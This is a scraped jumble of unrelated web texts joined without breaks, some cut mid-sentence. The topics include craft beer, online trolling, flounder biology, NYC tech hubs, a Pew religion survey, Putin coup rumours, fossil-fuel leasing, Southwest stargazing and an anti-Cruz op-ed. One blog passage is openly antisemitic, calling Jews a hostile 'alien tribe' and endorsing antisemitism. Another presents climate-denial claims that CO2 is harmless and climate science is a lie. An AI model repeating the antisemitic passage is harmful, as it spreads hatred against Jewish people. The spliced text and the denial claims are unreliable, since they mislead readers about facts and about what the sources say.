The barrels are French oak used by a California winery to produce high quality pinot noir, then they were sent to a Kentucky distillery to age bourbon.
This year Barrel Aged Week takes place February 14-20, but it’s always been an evolution. In the early years it took place on Anniversary Week, but as head brewer Mike Hoops’ lust for the style grew, it became too big for partnering with that promotion. "We decided it could be its own special event," he says, choosing late February because big beers don’t just pair well with dinner, they’re a natural fit for the extreme Minnesota winter. Come February, people need excuses to break out of hibernation.
Year round, the Barrel Reserve series means a tapline dedicated to a single barrel-aged beer. Barrel Week will remain the big moment, the showcase of the best and brightest. "Barrel Aged Week will always be the highlight of our program regardless |
ians don’t like Wikimedia’s new project, they can spearhead their own – but they must organize and submit proposals themselves. “It needs to come from them," Davis says. "It’s up to them to self-organize and wait for ideas from within the community to grow.”
Their words are strikingly similar to the first response Tarawneh ever received from Wikipedia: If you don’t like it, change it. Wikipedia belongs to you.DISCLAIMER: NONE OF YOU HAS EVER TROLLED ME. THIS POST IS NOT ABOUT TROLLING ME BUT ABOUT TROLLING IN GENERAL, IN OUR LIFE AND IN GENERAL OVER BOARD GAMES FORUMS. I AM SUPER LUCKY THAT PROBLEMS I DESCRIBE HERE DO NOT TOUCH ME IN THE ENGLISH INTERNET. THEY, HOWEVER, TOUCHED ME VERY HARD IN POLAND. THAT’S WHY I DECIDED TO WRITE THIS SERIOUS POST.
WELL, ONCE A YEAR I AM NOT THIS FUNNY DUDE FROM POLAND. THAT WOULD BE TODAY.
English speaking geeks treat me super kind. With one or two minor exceptions, I did not meet any English speaking trolls and haters so far. I am like living in a dream where every person in the Internet is kind and nice. I know this is not true picture, I know that Internet sometimes is not a nice place, I know there are trolls and haters but well… I didn’t meet them. It’s like living in a fairytale.
What’s interesting, it is exactly opposite here in Poland. In Polish board games forum I am the most hated person. If you remember what was the reaction of people when they heard that Ben Affleck will be new Batman – that’s exact kind of reaction I get here in Poland each time I release new game. And you know, I am not exaggerating. Really, it’s super nasty here.
Last week I withdrew from Polish board games forum. I asked admin to remove my account. After nearly 10 years on the forum, I withdrew. Trolls and haters had their victory.
***
When you were a kid and saw one kid bullying other, you probably did stay in defense of bullied kid. When you see some jerk acting bad you of course act. When we see inappropriate behavior in real life, it is our natural reaction to act and defend person in need. To help people who need help is obvious and natural reaction.
It’s not a case in the Internet though. When we see troll bullying other person in the Internet, we rarely act. We think: ‘Oh, it’s just troll, just ignore him.’
Let me tell you – this ignore policy doesn’t help bullied person. It doesn’t stop troll or hater. It only makes him stronger. It let him think that he can do and write whatever he wants to and no one will stand against him. Bullied person in the Internet is alone. You face trolls and haters alone because others just ignore troll.
For the past few years, from the moment I published Stronghold I was bullied in Polish Internet with tremendous strength. Every week there were attacks, nasty comments and hate all over me, sometimes including even my family. I was fighting back, I was trying to defend, but for the most time I was alone.
There was me, haters and ignore troll policy. For years. Last week I gave up.
***
Board games industry is an amazing industry – there is no wall or something like that between customer and producer. We gamers can easily interact with many publishers and with many designers. They are active on game forums, they are active at conventions, they are within our reach. You can have Antoine Bauza sign your copy of his game, you can have cow sketch in one of Portal Games box, you can tweet to Eric M. Lang, you go to the pub and have a great time with Stephan Buonocore from Stronghold Games… This is one big family and I find it truly amazing. I love all people who work here. This is great crazy family.
Family that can very easily be attacked by trolls. We are so open to gamers, that some asshols just can’t wait to take advantage of that. So here is my honest request – when you see troll attacking our family, fight him back. He is trolling us just like bullying someone in real life. You wouldn’t turn your back in real life, wouldn’t you?
Don’t turn your back in the Internet too. Protect our family.
Don’t let haters win. Like they just did here in Poland.
AdvertisementsGroup of flatfish species
Flowery flounder, Bothus mancus,
Bahía de la Chiva, at Bahía de la Chiva, at Hawaii
Flounders are a group of flatfish species. They are demersal fish, found at the bottom of oceans around the world; some species will also enter estuaries.
Taxonomy [ edit ]
The name "flounder" is used for several only distantly related species, though all are in the suborder Pleuronectoidei (families Achiropsettidae, Bothidae, Pleuronectidae, Paralichthyidae, and Samaridae). Some of the better known species that are important in fisheries are:
Eye migration [ edit ]
In its life cycle, an adult flounder has two eyes on one side of its head, and at hatching one eye is on each side of its head. One eye migrates to the other side of the body through a metamorphosis as it grows from larval to juvenile stage. As an adult, a flounder changes its habits and camouflages itself by lying on the bottom of the ocean floor as protection against predators.[1] As a result, the eyes are then on the side which faces up. The side to which the eyes migrate is dependent on the species type.
Habitat [ edit ]
Flounders ambush their prey, feeding at soft muddy areas of the sea bottom, near bridge piles, docks and coral reefs.
A flounder's diet consists mainly of fish spawn, crustaceans, polychaetes and small fish. Flounder typically grow to a length of 22–60 centimeters (8.7–23.6 in), and as large as 95 centimeters (37 in). Their width is about half their length. Male Platichthys are known to display a pioneering spirit, and have been found up to 80 miles off the coast of northern Sardinia, sometimes with heavy encrustations of various species of barnacle.
Fluke, a type of flounder, are being farm raised in open water by Mariculture Technologies in Greenport, New York.[2]
Threats [ edit ]
A flounder blending into its environment
World stocks of large predatory fish and large ground fish, including sole and flounder, were estimated in 2003 to be only about 10% of pre-industrial levels, largely due to overfishing. Most overfishing is due to the extensive activities of the fishing industry.[3][4][5][6] Current estimates suggest that approximately 30 million flounder (excluding sole) are alive in the world today.[citation needed] In the Gulf of Mexico, along the coast of Texas, research indicates the flounder population could be as low as 15 million due to heavy overfishing and industrial pollution.[citation needed]
According to Seafood Watch, Atlantic flounders and soles are currently on the list of seafood that sustainability-minded consumers should avoid.[7]At the Brooklyn Navy Yard, 84,000 square feet of space will be turned into manufacturing, office and display space for The Hub @ New Lab, one of two new tech hubs funded by the city. View Full Caption NYCEDC
BROOKLYN NAVY YARD — New York City is investing $7.2 million in two new tech hubs dedicated to its problem-solving companies.
The program, called UrbanTech NYC, will provide more than 100,000 square feet of space at the Brooklyn Navy Yard and in Midtown for small companies that have outgrown incubators or other early-stage programs, the New York City Economic Development Corporation announced.
The spaces, which will open Summer 2016, will serve companies that address urban challenges in New York City such as energy, waste, transportation, agriculture and water.
“The program will provide the resources that entrepreneurs need to build resiliency into the DNA of our City’s economy,” said NYCEDC President Maria Torres-Springer in a statement.
A rendering of the interior of the Hub @ New Lab. View Full Caption NYCEDC
The program will offer entrepreneurs affordable rent and access to manufacturing equipment, like 3-D printers and laser cutters, as well as fully stocked metal, wood, and electronics shops. Businesses will also get access to local training programs, workshops, mentorship and support from the city.
Companies will be able to pilot and demonstrate their work across the city through a partnership with the Mayor’s Office of Technology and Innovation.
At the Brooklyn Navy Yard, UrbanTech NYC is turning a former ship building facility into an 84,000-square-foot design and manufacturing center for product-based companies. The Navy Yard’s existing design and technology center New Lab will run The Hub @ New Lab, which will feature both office and display space.
In Midtown, UrbanTech NYC will bring 50,000 square feet of office space and a multi-purpose innovation center for software-based businesses right next to Grand Central Terminal at 335 Madison Ave. Grand Central Tech, a startup incubator, will run The Hub @ GCT.
NYCEDC estimates 30 companies, totaling up to 700 employees, will apply for space at the two hubs.
Rent will be negotiated individually between the tenants, but it will be below market rate, according to an NYCEDC spokesman.For the first time ever, Protestants are not the majority in U.S. - due to rising number of Americans with 'no religion'
Protestants drop to 48% for the first time in American history
Number of 'non-religious' people rises from 15% to 20% over five years
First time there are no Protestants among Republican Presidential nominees
The Collegiate Reformed Church, under the shadow of the Empire State building: Less than 50 per cent of Americans are Prostestant, according to Pew
For the first time in its history, the United States does not have a Protestant majority, according to a new study.
The rising numbers of Americans with no religious affiliation is on the rise, which led to the percentage of Protestant adults in the U.S. reaching a new low of 48 per cent.
This is the first time that Pew Forum on Religion & Public Life has reported with certainty that the number has fallen below 50 per cent.
The drop has long been anticipated and comes at a time when there no Protestants are on the U.S. Supreme Court, and the Republicans have their first presidential ticket with no Protestant nominees.
Among the reasons for the change are the growth in nondenominational Christians who can no longer be categorised as Protestant, and a spike in the number of American adults who say they have no religion.
The Pew study, released Tuesday, found that about 20 per cent of Americans say they have no religious affiliation, an increase from 15 per cent in the last five years.
Scholars have long debated whether people who say they no longer belong to a religious group should be considered secular.
While the category as defined by Pew researchers includes atheists, it also encompasses majorities of people who say they believe in God, and a notable minority who pray daily or consider themselves'spiritual' but not'religious'.
Still, Pew found overall that most of the unaffiliated aren't actively seeking another religious home, indicating that their ties with organised religion are permanently broken.
Changing times: America's religious make-up has changed greatly in the 400 years since the Pilgrims first arrived on the Mayflower
From 1972 to 2010: The Pew Report shows how the Protestant faith has declined in the U.S. over 40 years
The research shows that religion is declining among the younger generation
Growth among those with no religion has been a major preoccupation of American faith leaders who worry that the United States, a highly religious country, would go the way of Western Europe, where church attendance has plummeted.
Pope Benedict XVI has partly dedicated his pontificate to combating secularism in the West. This week in Rome, he is convening a three-week synod, or assembly, of bishops from around the world aimed at bringing back Roman Catholics who have left the church.
The trend also has political implications.
American voters who describe themselves as having no religion vote overwhelmingly for Democrats.
Pew found Americans with no religion support abortion rights and gay marriage at a much higher-rate than the U.S. public at large.
These 'nones' are an increasing segment of voters who are registered as Democrats or lean toward the party, growing from 17 per cent to 24 per cent over the last five years.
The religiously unaffiliated are becoming as important a constituency to Democrats as evangelicals are to Republicans, Pew said.
Five years of changing beliefs: Atheism and agnosticism is growing at the expense of Christianity
Cathedral Bari in Puglia, Italy: Church buildings are a staple of European life, but attendances are plummeting
No Republican nominees are Protestant: Republican nominee Mitt Romney, for example, is Mormon
Neither agnostic or atheist: The rise of the 'nothing in particular'
The Pew analysis, conducted with PBS' 'Religion & Ethics Newsweekly', is based on several surveys, including a poll of nearly 3,000 adults conducted June 28-July 9, 2012.
The finding on the Protestant majority is based on responses from a larger group of more than 17,000 people and has a margin of error of plus or minus 0.9 percentage points, Pew researchers said.
Pew said it had also previously calculated a drop slightly below 50 percent among U.S. Protestants, but those findings had fallen within the margin of error.
The General Social Survey, which is conducted by the University of Chicago's National Opinion Research Center, reported for 2010 that the percentage of U.S. Protestants was around 46.7 percent.
Researchers have been struggling for decades to find a definitive reason for the steady rise in those with no religion.'
The spread of secularism in Western Europe was often viewed as a byproduct of growing wealth in the region. Yet among industrialised nations, the United States stood out for its deep religiosity in the face of increasing wealth.
Mormons attend a service: America may see its first President hailing from this faith if Republican Mitt Romney wins the election
Now, religion scholars say the decreased religiosity in the United States could reflect a change in how Americans describe their religious lives.
Arkansas, Oklahoma and Tennessee (in black) are the most Protestant states, according to the studies
In 2007, 60 percent of people who said they seldom or never attend religious services still identified themselves as part of a particular religious tradition. In 2012, that statistic fell to 50 percent, according to the Pew report.
'Part of what's going on here is that the stigma associated with not being part of any religious community has declined,' said John Green, a specialist in religion and politics at the University of Akron, who advised Pew on the survey.
'In some parts of the country, there is still a stigma. But overall, it's not the way it used to be.'
The Pew study has found the growth in unaffiliated Americans spans a broad range of groups: men and women, college graduates and those without a college degree, people earning less than $30,000 annually and those earning $75,000 or more.
However, along ethnic lines, the largest jump in 'nones' has been among whites. One-fifth of whites describe themselves as having no religion.
More growth in 'nones' is expected. One-third of adults under age 30 have no religious affiliation, compared to nine per cent of people 65 and older.Yesterday I did something I don’t usually do: listened to a James Delingpole broadcast. Listen to it here (link).
Delingpole is what passes for edgy within the ranks of mainstream British conservatism: a posho who was best mates with David Cameron at uni, but likes to flaunt his rebel credentials by making jokes about “political correctness gone mad” or pointing out that the Arctic ice sheet doesn’t seem to have melted as much as some people predicted.
Here he is interviewing Kevin Myers, an Irish journalist who had his life destroyed a few months ago (link) after publishing a column containing a reference to Jews that could have been construed as slightly unflattering but was, in fact, a backhand form of praise.
I note that two of the best-paid women presenters in the BBC — Claudia Winkleman and Vanessa Feltz, with whose, no doubt, sterling work I am tragically unacquainted — are Jewish. Good for them. Jews are not generally noted for their insistence on selling their talent for the lowest possible price, which is the most useful measure there is of inveterate, lost-with-all-hands stupidity.
The column was published in the Irish edition of the Sunday Times, which, I would imagine, does not have a very large readership, particularly at 3 o’clock on a Sunday morning. And according to a recent report, there are only 2500 Jews in Ireland. Nevertheless, within hours of his column being published, Myers’ career as a journalist had come to an end. “You will never write for this paper again,” he was told.
The primary interest of the podcast is that it provides more details of the case. In the middle of the night, Jews were already scouring through his old columns from the 1980s and even his memoir, looking for phrases and sentences they could twist out of context to make him look like an antisemite and trash his reputation, something they did with great success.
Its secondary interest lies in the pathetic display of submissiveness to Jews that both Delingpole and Myers continue to display. It shows us how deep the brainwashing is when even the victim of a monstrous injustice goes out of his way to defend the perpetrators of that injustice. And even to insist that they are not the perpetrators. According to Delingpole and Myers, it was SJWs who were to blame, not Jews.
Myers emphasises his philosemitic credentials, boasts of how many times he discussed the Holocaust in his previous columns; his support for Israel; his seal of approval from local Jews and the Israeli ambassador; none of which counted for anything. He even, absurdly, accuses his accusers of antisemitism – because they refused to accept the assurances of local Jews that he wasn’t an antisemite. Refusing to blindly accept whatever Jews say now apparently constitutes antisemitism.
Myers, unfortunately, and tragically, because his tragedy is the tragedy of our dying civilisation, reveals himself to be little or no better than his tormentors.
“I do believe in free speech, right up to the point but no further, not beyond the point where you’re inciting hatred.”
Once you’ve conceded that principle, you’ve legitimated your own persecution. All you have left is an ever-shifting, indistinct boundary around what constitutes “inciting hatred”.
Myers castigates the “far right”, clearly still convinced that “antisemitism” is a blind, unreasoning hatred. It apparently does not occur to him that it is awareness of such injustices, such tyrannical conduct, such contempt for objective truth, and their ever-present obsession with controlling what other people are allowed to say, that caused us to become antisemites in the first place.
Myers has been subjected to “The Ban” (herem), his life and reputation destroyed by the people to whom he offered his obeisance. He can’t understand the unfairness of it all. He doesn’t see that it is precisely through unfairness that tyranny is enforced. If people are destroyed for minor peccadilloes or for nothing at all, it creates a terror environment that intimidates everyone. For every Kevin Myers ruined for a trivially disparaging reference to Jews, there will be a thousand cowed journalists who stay away from the subject altogether in future. That is the method of tyranny – the tyranny we all live under – the tyranny of having an unsympathetic or actively hostile alien tribe deciding what we are allowed or not allowed to say in our public discourse.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Vladimir Putin is alive but has been 'neutralised' by shadowy security chiefs who have staged a stealthy coup, according to the head of a leading Russian Muslim group.
Geydar Dzhemal, chairman of Russia's Islamic Committee, claimed former security service chief Nikolai Patrushev was behind the plot.
The Russian leader hasn't been seen in public for the past 9 days.
Dzhemal, who is seen as a Kremlin loyalist, said: "I think that Putin is neutralised at the moment, but of course, he is alive.
"He is under the control of the power-wielding agencies, who have, in my opinion, organised a coup d'etat."
(Image: Getty)
Recent pictures of Putin supposedly working during a nine day absence from public sight was "playing for time" by the plotters, he claimed.
"My information is that Patrushev met Chechen leader Ramzan Kadyrov in Pyatigorsk on 11 March and tempted him over to his side."
He also pointed to a recent visit by Patrushev - head of Putin's security council and seen as a Putin crony - to the US.
The visit came despite sanctions barring visits by most senior Russian officials.
"I think he was offered something there that he failed to reject," claimed Dzhemal on Georgian TV channel Rustavi-2.
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This came amid a claim that pictures issued by the Kremlin on Friday of Putin meeting Supreme Court head Vyachevslav Lebedev may date from 2011.
The images were rushed out in a bid to show Putin is still at work, and followed the release of other photographs which had been taken on or before 5 March when he was last seen in public.
(Image: Reuters)
With feverish speculation in Moscow over Putin's health and whereabouts, and claims of a bitter power struggle in his entourage which could even trigger an attempted coup, the head of Chechnya spoke emotionally of people "trying to harm the president of Russia - and Russia itself".
And he claimed that forces were scheming "to break us apart", referring to him and his guarantor Putin.
As startling has been the lack of shows of support in recent days from other senior Kremlin cardinals during an absence which has no obvious parallel in his 15 years as president or premier.
The voices of prime minister Dmitry Medvedev, Defence Minister Sergei Shoigu, Chief of the Kremlin staff Sergei Ivanov - and Putin's intelligence tsars - have remained silent.
Kadyrov has enjoyed extraordinary power and largesse under Putin as a reward for keeping an iron grip on the rebellious oil-rich Chechen region, scene of two bloody wars since the collapse of the USSR.
As a result he is hated by many senior Putin loyalists.
But Kadyrov's enemies claimed yesterday that the 38 year old bearded regional potentate is in "panic" because he can no longer contact his mentor.
"He is phoning anyone he can in an attempt to arrange a talk with Putin - but he fails," alleged a website linked to Islamic hardliners seeking to overthrow Kadyrov.
One of the two men formally charged with killing opposition leader Boris Nemtsov is a personal friend of Kadyrov, who spoke out in his support for the second time yesterday.
"I'll repeat now that I knew him as a true warrior and patriot," he said of Zaur Dadayev, who is accused of murder.
There are allegations that a security official closer to Kadyrov ordered the Nemtsov murder, and that the FSB and Interior Ministry in Moscow have full proof.
His slaying has triggered bitter factional infighting in the Kremlin, which includes talk of defence and security service generals seeking to replace Putin.
Others believe Putin will reemerge tomorrow to stamp his authority once more on his government.
There were also unverified claims last week that Putin's alleged girlfriend, Olympic gymnast Alina Kabayeva, 31, had given birth to a child in Switzerland. This was denied by the Kremlin.
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The political chaos in Moscow comes after Western sanctions and a low oil price have caused mayhem to the Russian economy, with a serious fall in the rouble.
Many of the clans in Putin's entourage became hugely rich under his rule, but now face their fortunes evaporating.
Software experts in Russia yesterday suggested the pictures of Putin meeting Lebedev, supposedly taken Friday, were created in 2011 and modified a year later.
But Putin is shown in front of the presidential flag, though he was not head of state in 2011.Sept 28th, 2015
America’s publicly owned lands and offshore waters are being sold at bargain prices for private fossil fuel extraction — making the world’s wealthiest companies even richer while driving the world’s climate deeper into crisis.
Links
Introduction
Rainforest Action Network has compiled the top federal leaseholders in each of three fossil fuel arenas: coal mining, onshore oil and gas drilling, and offshore oil and gas drilling. Dubbed here as the “Filthy 15” energy corporations, these fossil fuel companies generate millions in profit each year off of our shared national resources while damaging our environmental legacy for generations to come.
Some of the wealthiest energy companies — ExxonMobil, Royal Dutch Shell, and Arch Coal — are exploiting and degrading millions of acres of America’s public lands and offshore waters, causing serious harm to the health of communities and sending massive carbon pollution into the atmosphere through increasingly extreme extraction methods. Mining, drilling, and fracking coal, oil, and gas on publicly owned lands already accounts for roughly 25% of climate change emissions from the United States (U.S.).
The federal government enables this destruction at a tremendous cost to the U.S. taxpayer by selling off our national forests, grasslands, deserts, oceans, and sacred heritage sites for pennies on the dollar. The antiquated and opaque federal fossil fuel leasing program, administered by the U.S. Department of the Interior, transfers vast amounts of public wealth into private hands by auctioning off public lands and offshore waters for corporate profit.
President Obama can immediately and unilaterally stop the bankrolling of wealthy energy corporations, prevent environmental destruction, preserve the heritage of Indigenous sacred sites, and slow the disastrous effects of climate change by ending the outdated practice of fossil fuel leasing on public lands and offshore waters.
Key Takeaways
Scientists agree that in order to stay within the global carbon budget and avoid dangerous warming, a majority of all proven coal, oil, and gas reserves must stay in the ground, and fossil fuel combustion must end by mid-to-late-century.
America’s public lands and waters are being given away to some of the wealthiest energy companies in the world for as low as $2 an acre. These companies have long track records of corruption, violation of Indigenous sacred sites, severe health impacts on communities, environmental destruction, evading payments, and jeopardizing the future of our climate.
If President Obama wants to establish a truly lasting climate legacy, he can and should issue an executive order to stop leasing for fossil fuels on our public lands and offshore waters.
LinksThe deserts and wide open spaces of the Southwest USA are among the darkest places in America and offer some of the country's best possibilities for seeing the Milky Way in all its glory. The arid climate is reliably clear in this part of the world, meaning the sky is mercifully cloud-free most nights, perfect for peering to the heavens.
Unsurprisingly given these conditions, the Southwest has long been a favorite spot for amateur and professional astronomers alike, and some of the world’s most incredible celestial discoveries have been made in these deserts, including Pluto, which was first spotted from northern Arizona in 1930.
The Southwest's arid climate and clear skies – seen here, at Balancing Rock in Big Bend – are perfect for stargazing © Wisanu Boonrawd / Shutterstock
Whether you have the constellations memorized or just enjoy the faint glow of starlight on your face, the Southwest USA offers something for all types of astronomers. Grab your telescope, bring out the binoculars or simply settle into a camp chair and gaze upwards to ogle Orion at these southwestern stargazing hot spots.
Big Bend National Park
Far, far away from pretty much everything, Big Bend can claim the least light-polluted skies of any national park in the lower 48 states. If you look at Big Bend on a map, the Mexican-border-hugging park carves a loop (surprise!) through far southwest Texas, and there are pretty much no major settlements anywhere near it on either side of the border. To boot, the park has re-lamped external lighting with LED bulbs at its buildings and parking areas to reduce light pollution.
Perseid meteor showers and the Milky Way putting on a show in Big Bend National Park © Barcroft Media / Getty Images
Big Bend is huge, and almost anywhere you go inside the park will prove excellent for stargazing (they suggest you can see around 2000 stars on an average evening here). Experienced desert hikers and campers should head out onto any of the park’s trails for an overnight excursion (take plenty of food and water; it’s hot and remote), but if you are less outdoorsy, somewhere like the Rio Grande Village Nature Trail is extremely accessible on paved paths and has incredible vistas even after dark. There is an accompanying campsite here.
A bit farther north from the park, McDonald Observatory in Fort Davis hosts star parties three times a week that are preceded by a ‘Twilight Program’ where you learn about the night sky, eclipses, the moon and our solar system’s planets using models and demonstrations.
Wonders of heaven and Earth, all in one place: the Grand Canyon © Alexey Suloev / Shutterstock
Grand Canyon star parties
Grand Canyon National Park covers nearly 2000 square miles in northern Arizona, most of it perfect for stargazing thanks to a lack of ambient light for, literally, miles around. Adding to that is the natural romance of stargazing here: your view shifting from one of Earth’s greatest natural wonders to the pure awe of the vast cosmos. Yavapai Point and Lipan Point, both on the South Rim, are easily accessible spots with wide, clear views of the Milky Way.
Stargazing is easy here at all times of year, whether blanketed underfoot by a light layer of winter powder or camping out on a balmy summer’s eve. Every year, the park hosts its annual star party (often in June), when stargazers gather for a week of astronomical events; talks from professional astronomers, telescope viewings, constellation tours and more are hosted each evening.
Cosmic Campground: pitch your tent and wait for the starry show © Megan Eaves / Lonely Planet
Cosmic Campground
The Cosmic Campground in remote southwestern New Mexico was designed specifically for stargazing. Set within the wild and rugged Gila National Forest, the campground was designated as an International Dark Sky Sanctuary in 2016 for its incredible clear skies year-round. Rules at the campground prohibit light pollution: artificial lights are banned after sundown and flashlights must be covered with red plastic. Real astronomy buffs can bring telescopes to set up on dedicated concrete platforms, but the sky here is so starry that you can sit mesmerized for hours with just the naked eye.
View the heavens through historic telescopes at Lowell Observatory in Flagstaff, Arizona © Lissandra Melo / Shutterstock
Lowell Observatory
See the stars through the famed telescope that first spotted Pluto at the Lowell Observatory. Located in Flagstaff, Arizona – itself a designated International Dark Sky City – the 120-year-old observatory runs nightly astronomy programs that allow you to explore the cosmos through its collection of telescopes, including the 1894 Clark Refracting Telescope through which astronomer Percival Lowell discovered Pluto in 1930.
Flagstaff’s Dark Skies Coalition also organizes regular star parties in Buffalo Park that take advantage of the city’s dark-sky-friendly lighting codes to view the heavens.
Otherworldly: sand meets sky in southern Colorado © Mike Berenson / Colorado Captures Moment / Getty Images
Great Sand Dunes
Giant sand dunes along America’s highest mountain range – Great Sand Dunes National Park is already an enigma, and seeing this odd Rocky Mountains-meets-dunes landscape by night only heightens the mystery. To boot, the tallest sand dune here (and in the country) is the perfectly-named, 750-foot-high Star Dune.
Exploring the dunes by night is utterly magical, but can be disorienting, so this is a place to be careful and come armed with a red flashlight. Camping is permitted anywhere inside the 30-square-mile dunefield, meaning you can pitch your tent at the darkest dunetop you can find, so long as the weather and wind conditions are friendly.
The park puts on regular evening programs usually aimed at discovering local nocturnal wildlife or nighttime survival skills, as well as moonlit hikes up the dunes.
Celestial views through sandstone frames: Natural Bridges Monument © Yvonne Baur / Shutterstock
Natural Bridges National Monument
In 2007, Natural Bridges became the world's first designated dark-sky park. Remote southeastern Utah is not a surprising place to find dark skies, but it remains one of the Southwest’s most magical places for stargazing, particularly because the unique geological features that give the park its name – sandstone rock bridges formed over thousands of years by ancient stream erosion – provide natural frames through which to view the sky.
There are 13 dry campsites within the park for overnight stays. If camping doesn’t appeal, the tiny town of Bluff is about an hour’s drive away and boasts some fine accommodation, as well as stargazing spots along the soothing San Juan River.
VLA dishes are moved around the site via a bespoke railroad track system © Megan Eaves / Lonely Planet
Very Large Array
Not technically a stargazing spot (though the night skies here are undoubtedly beautiful), astronomy buffs won’t want to miss a visit to the Very Large Array (VLA) in central New Mexico. One of the most important astronomical research centers in the country, the VLA is a collection of 27 satellite dishes that are constantly at work searching for radio waves from the outer reaches of the universe.Share this...
The German-language RT recently conducted an interview with retired climatologist Prof. Werner Kirstein concerning President Donald Trump’s decision to pull out of the Paris Accord and the state of climate “science” itself.
Hat-tip EIKE.
Kirstein, a German climatologist of 40 years, has been one of Germany’s most high-profile critics of climate alarmism. He maintains that the warming over the past decades has been mostly due to natural causes associated with the climb out of the Little Ice Age, and therefore is not surprising.
“An invention”
In the RT interview, on the subject of Trump’s recently announced withdrawal, Kirstein says that it is no surprise because within the Republican party itself there have been a number of politicians who for 20 years long haven’t believed in man-made climate change, and that over the past ten years “hundreds of US scientists say it’s an invention“, and who even said so in a signed a letter to former President Obama.
On the claims made by the IPCC that man is behind the recent climate change (4:50 mark) Kirstein doesn’t buy it, reminding us that in the past CO2 has always varied, and that man’s contribution is puny in comparison to the natural ones.
In total Kirstein agrees that CO2 is “a harmless gas” and calls the IPCC’s conclusion that CO2 drives global temperature based on a coincidental correlation over 30 years, 1970 – 2000, a mistake.
When I go back and look at history, there’s absolutely no relationship between CO2 and temperature.”
CO2 used as a scapegoat
At the 9-minute mark the retired professor tells that the claim that CO2 is a greenhouse gas is highly controversial, and that the trace gas is in fact being used as a scapegoat by politicians, and says that the odds of cooling, based on history, are greater. “Eventually it is going to come.”
IPCC is about marketing, “fundamentally corrupt”
On the question as to why there has been so much climate-catastrophe panic spread by the media, Kirstein blames economic interests, and that governments of course can always find scientists who are willing to go along with the catastrophe scenarios – naming the PIK Potsdam Institute as an example.
He views the IPCC as a “marketing organization” run mostly by sociologists who have the task of marketing climate change. He quotes Vincent Gray (13:00): “The IPCC is fundamentally corrupt.” Kirstein tells the reporter: “That says it all, doesn’t it!” He adds: “Today you do not find scientists on the IPCC, instead you have political scientists.”
Kirstein reminds there is a big difference between climate-protection and environmental protection, and agrees the environment needs to be protected, but “one does not have anything to do with the other.”
Climate science is “a lie”
Kirstein finds it’s okay to be politically in favor of eliminating fossil fuels, but then “you shouldn’t lie to the public” about why it should be done.
When Kirstein is asked why he gives speeches criticizing climate science, he says (17:20):
Because I’m completely against it. Because I see that it just cannot be that the people are being dumbed down by having them believe that there is a climate catastrophe through CO2.”
Driven by funding
On the subject of consensus, Kirstein says he is not alone as a skeptic in Germany, and especially worldwide. Of those scientists who insist that man-made climate change is real, he points out that most of them have their sights on funding.
I know some colleagues here in house, for example, and other colleagues not in Leipzig, and others here in Leipzig, who profit from the funding. You simply just do it, and and you don’t speak about your opinion. In private discussions, I’ve heard: ‘Well, you know, how am I supposed to make a living?'”
He summarizes the driving factor behind climate research, using a famous saying: “Whose bread one eats, whose words one speaks.”Let me break down parenting for you, and why it’s so hard.
Before you have kids, you think it’s the diapers or the late nights or the mortification of trading in your car for a minivan. But really, it’s the mind games. It’s the daily, hourly micro-aggress |
those who illegally re-
enter the United States. As for legal immigration, foreigners will only be allowed to enter the United States when Corporate America is running short of workers, an approach that is a far cry from the compassionate and humanitarian refrain, “Give me your tired, your poor, your huddled masses yearning to be free.” Ultimately, such a repressive approach is not sustainable because it addresses the symptoms and not the cause of “illegal” immigration. One of the principal causes of immigration—and terrorism—is the global free market economic model, and the Republican candidate has vowed to address this cause by strengthening the US military in order to defend this model.
According to Cruz, he will have the right as president to dictate to the rest of the world how they should live because, as his campaign states, “The United States of America is the exceptional nation, the nation other countries aspire to be like. We should stand as a shining beacon of what free people enjoying a free market and system of government can achieve.” And if the “free people” of other nations should decide that they don’t want to live in a free market under a US-style liberal democratic government then we will just have to force them to because they simply don’t know what’s best for them. In actuality, Cruz doesn’t really care about their freedom anyway. Upon assuming office he intends to “prioritize American national security interests in every instance” by strengthening the military to ensure the continuation of US imperialism throughout the globe.
He also advocates boosting US military ties with Israel, which already receives approximately a quarter of all US foreign aid. According to Cruz, “America’s security is significantly enhanced by a strong Israel.” It is unclear how a strong Israel enhances the security of the United States given that US support for Israel is one of the principal grievances of not only terrorist groups in the Middle East but of an overwhelming majority of the people in that part of the world. In addition to militarily supporting Israel, Cruz intends to back the Jewish state politically by withholding funding from the United Nations if it continues to condemn Israel’s illegal occupation of Palestinian territories. He has also pledged to cut federal funding to any US universities that join the global campaign to boycott the Jewish state because of its repeated violations of international law. It is likely his promise to increase military support for Israel is linked to his pledge to throw out Obama’s nuclear agreement with Iran as soon as he reaches the Oval Office, which would leave him few options besides the military one for dealing with that country.
Meanwhile, domestically, Cruz aims to eliminate the Internal Revenue Service (IRS) by implementing a flat 10 percent income tax. While the IRS is not a loved institution by any means, such a policy would not only eliminate it, but also many social programs. The primary beneficiaries of a flat tax would be wealthy Americans who’d see their income tax rate plummet from the current 40 percent to 10 percent. Meanwhile, the average American worker’s tax rate would only drop by five percent.
The resulting loss in government revenues from a flat tax would inevitably lead to cuts in government programs and, given that Cruz intends to increase funding for the military, it would mean that social programs that benefit lower-income Americans would have to be gutted. The first social program that Cruz intends to eliminate is Obamacare. But unlike Democratic presidential candidate Bernie Sanders, who wants to replace Obamacare with a more comprehensive universal healthcare plan, Cruz simply wants to scrap it and rely on a market-based system that has left fifty million Americans without affordable health coverage. Clearly, Cruz has not learned from the mistake made by Britain’s former Prime Minister Margaret Thatcher, who was ousted from power after she tried to introduce a flat tax.
With regard to the economy, Cruz seeks to “unleash economic prosperity” in the United States through the “Great American Energy Renaissance.” This renaissance has nothing to do with shifting the country towards renewable energy sources; rather it seeks to reinvigorate the fossil fuel industry by promoting oil and natural gas exploration and production. To this end, Cruz vows to approve the Keystone Pipeline and “remove federal impediments to energy exploration.” Cruz isn’t concerned about the consequences of his energy policies for the environment because he doesn’t believe that human activity contributes to climate change. The conservative Southern Baptist claims that “global warming alarmists” act with a religious fervor that shows how “climate change is not science. It’s religion.”
And speaking of religion, it is a driving force of Cruz’s policy agenda. He uses his religious views to justify targeting both women and queers. “Marriage is a sacrament between one man and one woman, it has strengthened societies for millennia, and we must uphold the truth of marriage,” his campaign literature states. It goes on to declare, “Extreme leftists … are trying to extinguish these most fundamental, God-given rights.” Cruz believes that these “God-given rights” mean that only heterosexual couples can “value authentic companionship and intimate connection” and that homosexuality is a “choice.” Accordingly, he has fought against the right of federal judges to rule in favor of same-sex marriage.
